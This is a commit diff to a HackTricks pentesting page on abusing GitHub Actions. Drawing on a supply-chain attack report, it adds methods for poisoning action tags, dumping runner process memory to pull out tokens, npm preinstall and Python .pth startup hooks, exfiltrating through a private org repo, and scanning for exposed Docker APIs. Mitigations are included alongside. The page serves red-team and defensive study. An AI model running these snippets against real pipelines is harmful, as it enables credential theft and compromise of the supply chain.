Skip to content

Commit 941e8d6

Browse files
authored
Merge pull request #272 from HackTricks-wiki/update_Weaponizing_the_Protectors__TeamPCP_s_Multi-Stage__20260401_021730
Weaponizing the Protectors TeamPCP’s Multi-Stage Supply Chai...
2 parents 5527787 + 9fe9a78 commit 941e8d6

File tree

1 file changed

+85
-2
lines changed
  • src/pentesting-ci-cd/github-security/abusing-github-actions

1 file changed

+85
-2
lines changed

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

Lines changed: 85 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -464,6 +464,21 @@ If other repositories where using **dependencies from this user repos**, an atta
464464

465465
GitHub Actions still encourages consumers to reference `uses: owner/action@v1`. If an attacker gains the ability to move that tag—through automatic write access, phishing a maintainer, or a malicious control handoff—they can retarget the tag to a backdoored commit and every downstream workflow executes it on its next run. The reviewdog / tj-actions compromise followed exactly that playbook: contributors auto-granted write access retagged `v1`, stole PATs from a more popular action, and pivoted into additional orgs.
466466

467+
This becomes even more useful when the attacker **force-pushes many existing tags at once** (`v1`, `v1.2.3`, `stable`, etc.) instead of creating a new suspicious release. Downstream pipelines keep pulling a "trusted" tag, but the referenced commit now contains attacker code.
468+
469+
A common stealth pattern is to place the malicious code **before** the legitimate action logic and then continue executing the normal workflow. The user still sees a successful scan/build/deploy, while the attacker steals secrets in the prelude.
470+
471+
Typical attacker goals after tag poisoning:
472+
473+
- Read every secret already mounted in the job (`GITHUB_TOKEN`, PATs, cloud creds, package-publisher tokens).
474+
- Drop a **small loader** in the poisoned action and fetch the real payload remotely so the attacker can change behavior without re-poisoning the tag.
475+
- Reuse the first leaked publisher token to compromise npm/PyPI packages, turning one poisoned GitHub Action into a wider supply-chain worm.
476+
477+
**Mitigations**
478+
479+
- Pin third-party actions to a **full commit SHA**, not a mutable tag.
480+
- Protect release tags and restrict who can force-push or retarget them.
481+
- Treat any action that both "works normally" and unexpectedly performs network egress / secret access as suspicious.
467482

468483
---
469484

@@ -650,6 +665,16 @@ jobs:
650665

651666
Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
652667

668+
- GitHub log masking only protects rendered output. If the runner process already holds plaintext secrets, an attacker can sometimes recover them directly from the **runner worker process memory**, bypassing masking entirely. On Linux runners, look for `Runner.Worker` / `runner.worker` and dump its memory:
669+
670+
```bash
671+
PID=$(pgrep -f 'Runner.Worker|runner.worker')
672+
sudo gcore -o /tmp/runner "$PID"
673+
strings "/tmp/runner.$PID" | grep -E 'gh[pousr]_|AKIA|ASIA|BEGIN .*PRIVATE KEY'
674+
```
675+
676+
The same idea applies to procfs-based memory access (`/proc/<pid>/mem`) when permissions allow it.
677+
653678
### Systematic CI token exfiltration & hardening
654679

655680
Once an attacker’s code executes inside a runner, the next step is almost always to steal every long-lived credential in sight so they can publish malicious releases or pivot into sibling repos. Typical targets include:
@@ -668,6 +693,39 @@ With a single leaked credential the attacker can retag GitHub Actions, publish w
668693
- Disable npm lifecycle hooks in CI (`npm config set ignore-scripts true`) so compromised dependencies can’t immediately run exfiltration payloads.
669694
- Scan release artifacts and container layers for embedded credentials before distribution, and fail builds if any high-value token materializes.
670695

696+
#### Package-manager startup hooks (`npm`, Python `.pth`)
697+
698+
If an attacker steals a publisher token from CI, the fastest follow-up is often to publish a malicious package version that executes **during install** or **at interpreter startup**:
699+
700+
- **npm**: add `preinstall` / `postinstall` to `package.json` so `npm install` executes attacker code immediately on developer laptops and CI runners.
701+
- **Python**: ship a malicious `.pth` file so code runs whenever the Python interpreter starts, even if the trojanized package is never explicitly imported.
702+
703+
Example npm hook:
704+
705+
```json
706+
{
707+
"scripts": {
708+
"preinstall": "python3 -c 'import os;print(os.getenv(\"GITHUB_TOKEN\",\"\"))'"
709+
}
710+
}
711+
```
712+
713+
Example Python `.pth` payload:
714+
715+
```python
716+
import base64,os;exec(base64.b64decode(os.environ["STAGE2_B64"]))
717+
```
718+
719+
Drop the line above into a file such as `evil.pth` inside `site-packages` and it will execute during Python startup. This is especially useful in build agents that continuously spawn Python tooling (`pip`, linters, test runners, release scripts).
720+
721+
#### Alternate exfil when outbound traffic is filtered
722+
723+
If direct exfiltration is blocked but the workflow still has a write-capable `GITHUB_TOKEN`, the runner can abuse GitHub itself as the transport:
724+
725+
- Create a private repository inside the victim org (for example, a throwaway `docs-*` repo).
726+
- Push stolen material as blobs, commits, releases, or issues/comments.
727+
- Use the repo as a fallback dead-drop until network egress returns.
728+
671729
### AI Agent Prompt Injection & Secret Exfiltration in CI/CD
672730

673731
LLM-driven workflows such as Gemini CLI, Claude Code Actions, OpenAI Codex, or GitHub AI Inference increasingly appear inside Actions/GitLab pipelines. As shown in [PromptPwnd](https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents), these agents often ingest untrusted repository metadata while holding privileged tokens and the ability to invoke `run_shell_command` or GitHub CLI helpers, so any field that attackers can edit (issues, PRs, commit messages, release notes, comments) becomes a control surface for the runner.
@@ -732,6 +790,32 @@ The way to find which **Github Actions are being executed in non-github infrastr
732790

733791
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
734792

793+
They also frequently sit close to container build infrastructure and Kubernetes automation. After initial code execution, check for:
794+
795+
- **Cloud metadata** / OIDC / registry credentials on the runner host.
796+
- **Exposed Docker APIs** on `2375/tcp` locally or on adjacent builder hosts.
797+
- Local `~/.kube/config`, mounted service-account tokens, or CI variables containing cluster-admin credentials.
798+
799+
Quick Docker API discovery from a compromised runner:
800+
801+
```bash
802+
for h in 127.0.0.1 $(hostname -I); do
803+
curl -fsS "http://$h:2375/version" && echo "[+] Docker API on $h"
804+
done
805+
```
806+
807+
If the runner can talk to Kubernetes and has enough privileges to create or patch workloads, a malicious **privileged DaemonSet** can turn one CI compromise into cluster-wide node access. For the Kubernetes side of that pivot, check:
808+
809+
{{#ref}}
810+
../../../pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
811+
{{#endref}}
812+
813+
and:
814+
815+
{{#ref}}
816+
../../../pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/
817+
{{#endref}}
818+
735819
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
736820

737821
```bash
@@ -817,7 +901,6 @@ An organization in GitHub is very proactive in reporting accounts to GitHub. All
817901
- [OpenGrep PromptPwnd detection rules](https://github.com/AikidoSec/opengrep-rules)
818902
- [OpenGrep playground releases](https://github.com/opengrep/opengrep-playground/releases)
819903
- [A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/)
904+
- [Weaponizing the Protectors: TeamPCP’s Multi-Stage Supply Chain Attack on Security Infrastructure](https://unit42.paloaltonetworks.com/teampcp-supply-chain-attacks/)
820905

821906
{{#include ../../../banners/hacktricks-training.md}}
822-
823-

0 commit comments

Comments
 (0)